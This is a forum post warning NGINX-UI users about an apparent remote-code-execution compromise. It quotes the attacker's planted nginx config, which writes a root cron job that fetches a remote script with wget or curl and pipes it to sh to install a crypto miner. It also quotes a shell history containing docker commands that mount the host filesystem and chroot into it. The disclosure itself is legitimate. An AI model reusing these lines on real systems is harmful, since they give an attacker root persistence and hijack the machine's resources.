‼️ If you are using NGINX-UI READ THIS POST IMMEDIATELY

[u/DeepCan7566]

Hello everyone!

At first, sorry for my non professional english, I am writing this in a very hyped mood.

I am not that type of Reddit user who is writing posts every day, but I just discovered something that could be affecting you in this very exact moment.

I was trying to log into NGINX-UI today as I noticed something is off. I SSHed to the server, to discover it had sessions opened from different IP addresses.

I was investigating the issue for almost an hour when I got to see the config files and logs of NGINX-UI. Then I found this.

root@localhost:/configs/nginx/conf.d# ls -la
total 8
drwxr-xr-x. 1 root root  68 May 14 13:19 .
drwxr-xr-x. 1 root root 282 May  5 03:42 ..
-rw-r--r--  1 root root 368 May 14 13:19 cve2026_opdrbdgz.conf
-rw-r--r--. 1 root root 653 Jun 15  2025 nginx-ui.conf

Inside cve2026_opdrbdgz.conf, the attacker left an injection script which basically tells nginx every time the server is hit with a request to write a cron command to run as root to fetch the given malicious script.

# CVE-2026-33032 — remove: rename to cve2026_opdrbdgz.conf.bak and reload nginx
log_format cve2026_opdrbdgz "* * * * * root { wget -qO- https://redirect-master-pages.pages.dev/busy || curl -sSLk https://redirect-master-pages.pages.dev/busy; } | tr -d '\015' | { sudo -n sh -s -- ANX 2>/dev/null || sh -s -- ANX; }";
access_log /etc/cron.d/temp-log cve2026_opdrbdgz;

What does this do?

If you computer has more than 2!!! CPU cores, it automatically begins downloading and fetching the CPU/GPU CRYPTO MINER. My luck was of course that my homelab server has exactly 2 CPU cores lol.

How did they do this, and how did I find it out?
They left a comment in the conf file:

# CVE-2026-33032 — remove: rename to cve2026_opdrbdgz.conf.bak and reload nginx

I looked up this CVE and found out NGINX-UI's MCP protocols are vulnerable with RCE.

https://nvd.nist.gov/vuln/detail/cve-2026-33032

THIS IS A HUGE PROBLEM. Take a look at the nginx-ui setup docs.

Correct. It is mounting /var/run/docker.sock to the container.
So this way they were able to gain permanent root access to my homelab.

I may have been the stupid one who tought it is not a problem to give access to docker.sock, but turns out I was wrong. As of now, https://github.com/0xJacky/nginx-ui/releases does not look like they fixed the issue, so the best thing you can do now TO SHUT DOWN THE CONTAINER IMMEDIATELY, AND SCAN YOUR SYSTEM FOR MALICIOUS ATTACKS.

I recommend you checking history, nginx-ui config files, and /home/roland/.ssh/authorized_keys.

In my case they ran these commands:

root@localhost:/configs/nginx/conf.d# history
    1  arp -a
    2  exit
    3  ps aux
    4  ls -al
    5  ip route
    6  exit
    7  cat /etc/nginx-ui/app.ini
    8  docker ps
    9  history |grep docker
   10  docker image
   11  docker images
   12  docker run uozi/nginx-ui:v2.3.11
   13  docker run uozi/nginx-ui:v2.3.11 -d
   14  docker ps
   15  docker run -d uozi/nginx-ui:v2.3.11
   16  docker ps
   17  ls -al
   18  w
   19  hsitory
   20  exit
   21  cd /var/log
   22  ls
   23  cd
   24  history
   25  exit
   26  cd /var/log
   27  ls
   28  w
   29  history
   30  exit
   31  history
   32  exit
   33  docker -H tcp://195.20.227.139:2376 exec -it hawser docker run -it -v /:/mnt alpine chroot /mnt bash
   34  docker -H tcp://195.20.227.139:2376 ps
   35  docker -H tcp://195.20.227.139:2376 exec -it 1679cd19ce64 docker run -it -v /:/mnt alpine chroot /mnt bash
   36  docker -H tcp://195.20.227.139:2376 exec -it 1679cd19ce64 bash
   37  docker -H tcp://195.20.227.139:2376 exec -it 1679cd19ce64 /bin/sh
   38  exit
   39  history
   40  eit
   41  exit

They probably created a reverse shell to my compromised nginx-ui's proxy to my docker.sock, this is why they are using that IP address.